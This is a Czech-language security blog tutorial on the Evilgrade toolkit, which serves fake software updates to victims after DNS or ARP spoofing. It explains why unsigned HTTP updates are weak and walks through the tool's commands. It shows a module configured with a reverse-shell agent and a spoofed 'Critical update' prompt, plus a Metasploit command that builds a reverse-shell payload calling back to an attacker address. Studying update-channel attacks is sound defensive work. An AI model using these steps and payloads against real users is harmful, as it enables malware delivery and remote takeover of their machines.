Hacking DVD BackTrack, Linux, Hashe RSS Feed twitter airdump.cz BackTrack 3 4 5 6 CZ
Security a Tip
Donate a Sponzor

Evilgrade Exploit Toolkit pro online aktualizace

Evilgrade infobyte Evilgrade je anglická skládačka slov evil (zlý/ďábelský) a upgrade (aktualizace). Je to také modulární aplikace pro poskytnutí falešného update klientům nebo provozovatelům aplikací, update který může obsahovat prakticky cokoliv. Problém lehkomyslně implementovaných aktualizačních rutin je známý již dlouho, mám pocit, že je příliš často přehlížen. V době vydání Evillgradu (léto 2008) byly zranitelné velmi rozšířené aplikace.. jako třeba

Java plugin, Winzip, Winamp, OpenOffices, iTunes, Linkedin Toolbar, DAP [Download Accelerator], notepad++, speedbit, a dokonce i MacOS. Do aktualizace jde vložit cokoliv, od proxy pro přístup do interní sítě obětí přes keylogger až po rootkit. Nebo lze jen podstrčit starší verzi aplikace se změněným číslem verze ve které ještě nebyla opravena bezpečnostní díra.

Jak funguje aktualizační proces

Ať už je aktualizační proces automatizován, jen minimálně nebo úplně, většinou funguje tak, že program pravidelně kontroluje jakýsi informační soubor (např. http://update.example.com/update.xml) kde je aktuální verze a adresa instalačního programu, který se má spustit a aktualizovat potřebné soubory.

Problém je v tom, že pokud tento proces neprobíhá šifrovaně (např. https) nebo není nijak jinak zabezpečen (aktualizační program nebo jeho soubory podepsány certifikátem), aplikace nemá žádnou jistotu, že se jedna o aktualizaci vydanou příslušnou organizací.

Jediné co aplikace ví, je že pokud číslo verze v info.xml na dané domén? je větší než číslo současné verze, má provést aktualizaci.

(Pozor na fakt, že vynucení aktualizace s mnohem větším číslem verze, např. 200.0.0 způsobí to, že ikdyž následovní oběť bude komunikovat s pravým aktualizačním serverem, práva verze pravděpodobně nikdy nebude větší než aktuální (200.0.0) tudíž nebude docházet k novým aktualizacím.)

Tu přichází na řadu neošéfovaný DNS protokol kterému se už nedá moc věřit (v IPv6 jsou jeho zranitelnosti odstraněny). Ať už použijeme DNS chache poisoning, rogue DNS server, ARP Poison Routing v rámci podsítě nebo jiné srandičky, je jisté, že aplikace chtěla http://update.example.com/info.xml, ale už není jisté, zda xml soubor dostala od správného serveru či od falešného.

Evilgrade poskytuje framework pro vytváření falešných aktualizačních serverů pomoci přídavných modulu. Jeho součástí jsou již výše zmíněné moduly, které být aktuální nemusí (MacOS a Winamp byly určitě opraveny). Každý modul má takovou strukturu aby simuloval server s novou aktualizaci.

Aplikace je open-source a v Perlu (s moduly: Data::Dump, Digest::MD5, Time::HiRes) takže dostupná jak pro Linux, Windows a ostatní operační systémy. Shrnutí, proces probíhá následovně:

1 – aplikace nebo uživatel inicializuje aktualizační proces..

2 – zeptá se DNS jaká je IP domény update.example.com na které je soubor update s informacemi o aktuální verzi

3 – v tuto chvíli musí oběť dostat místo správné IP adresy adresu útočníka na které běží Evilgrade

4 – aplikace stáhne a zkontroluje soubor ztažený z http://IP_útočníka/update.xml

5 – aplikace z falešného update.xml, zjistí, že je k dispozici nová verze, stáhne a spustí program který měl původně vyměnit soubory aplikace za novější, ale v případě útoku to však můžee být upravený aktualizační program nebo rootkit (agent)

Ovládání probíhá přes CLI velmi podobnému jaké má Cisco IOS. Pro lidi kteří se s IOS ještě nesetkali to může být ze začátku problém, po chvilce ale zvyknete.

evilgrade>help vypíše seznam příkazů:

configure – Configure – no help available
exit – exits the program
help – prints this screen, or help on ‚command‘
reload – Reload to update all the modules – no help available
restart – Restart webserver – no help available
set – Configure variables – no help available
show – Display information of <object>.
start – Start webserver – no help available
status – Get webserver status – no help available
stop – Stop webserver – no help available
version – Display framework version. – no help available

evilgrade>help [příkaz] pak samozřejmě napíše podrobnější nápovědu (výjma jasných příkazů s popiskem ‚no help available‘ :-)

evilgrade>show modules vypíše moduly

pro konfiguraci modulu musíte přejít do kofiguračního módu CLI (jako v Cisco IOS)

evilgrade>conf sunjava

evilgrade(sunjava)>

pomocí

evilgrade(sunjava)>show options

zobrazíte následující info

Name = Sun Microsystems Java

Version = 1.0

Author = [„Francisco Amato < famato +[AT]+ infobyte.com.ar>“]

Description = „“

VirtualHost = „java.sun.com“

.————————————————————————————————————————-.
| Name          | Default | Description |
+————–+————————————————-+——————————————————–+
| website        | http://java.com/moreinfolink | Zobrazeny odkaz pro více informací o aktualizaci |
| enable         | 1 | Status |
| atitle           | Critical vulnerability | nadpis který se zobrazí v informa?ním tooltipu |
| arg             | | Argumenty p?edány agentovi |
| adescription | This critical update fix internal vulnerability | Roz?í?ený popisek v aktualiza?ní bublin? |
| description   | This critical update fix internal vulnerability | Popisek zobrazeny b?hem aktualizace |
| agent           | ./agent/reverseshellsign.exe | Agent – p?vodn? aktualiza?ní program |
| title             | Critical update | Titulek zobrazeny p?i aktualizaci |
‚————–+————————————————-+——————————————————–‚

Popisky: evilgrade>start – spustí Evilgrade server, evilgrade>show status – ukáže status serverů, případně klienty kteří byli obslouženi a v případě, že chceme použít agenta z Metasploitu, zde je příklad příkazu

evilgrade(sunjava)>set agent ‚[„/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>“]‘

evilgrade(sunjava)>

set agent nastavuje proměnnou modulu sunjava, závorky [] indikují vnořeny příkaz a uvozovky „“ označují část která je zpracovávána Perlem. Tagy <%OUT%>/path/.<%OUT%> označují místo kam bude vygenerovany binární soubor uložen. Demo flash screen capture, Evilgrade home, Díky: Francisco Amato. Zdroj a help.

Pro AMP psal l4

Kam dál?



Přihlásit / Odhlásit odběr novinek

Počet přihlášených k odběru novinek

    2572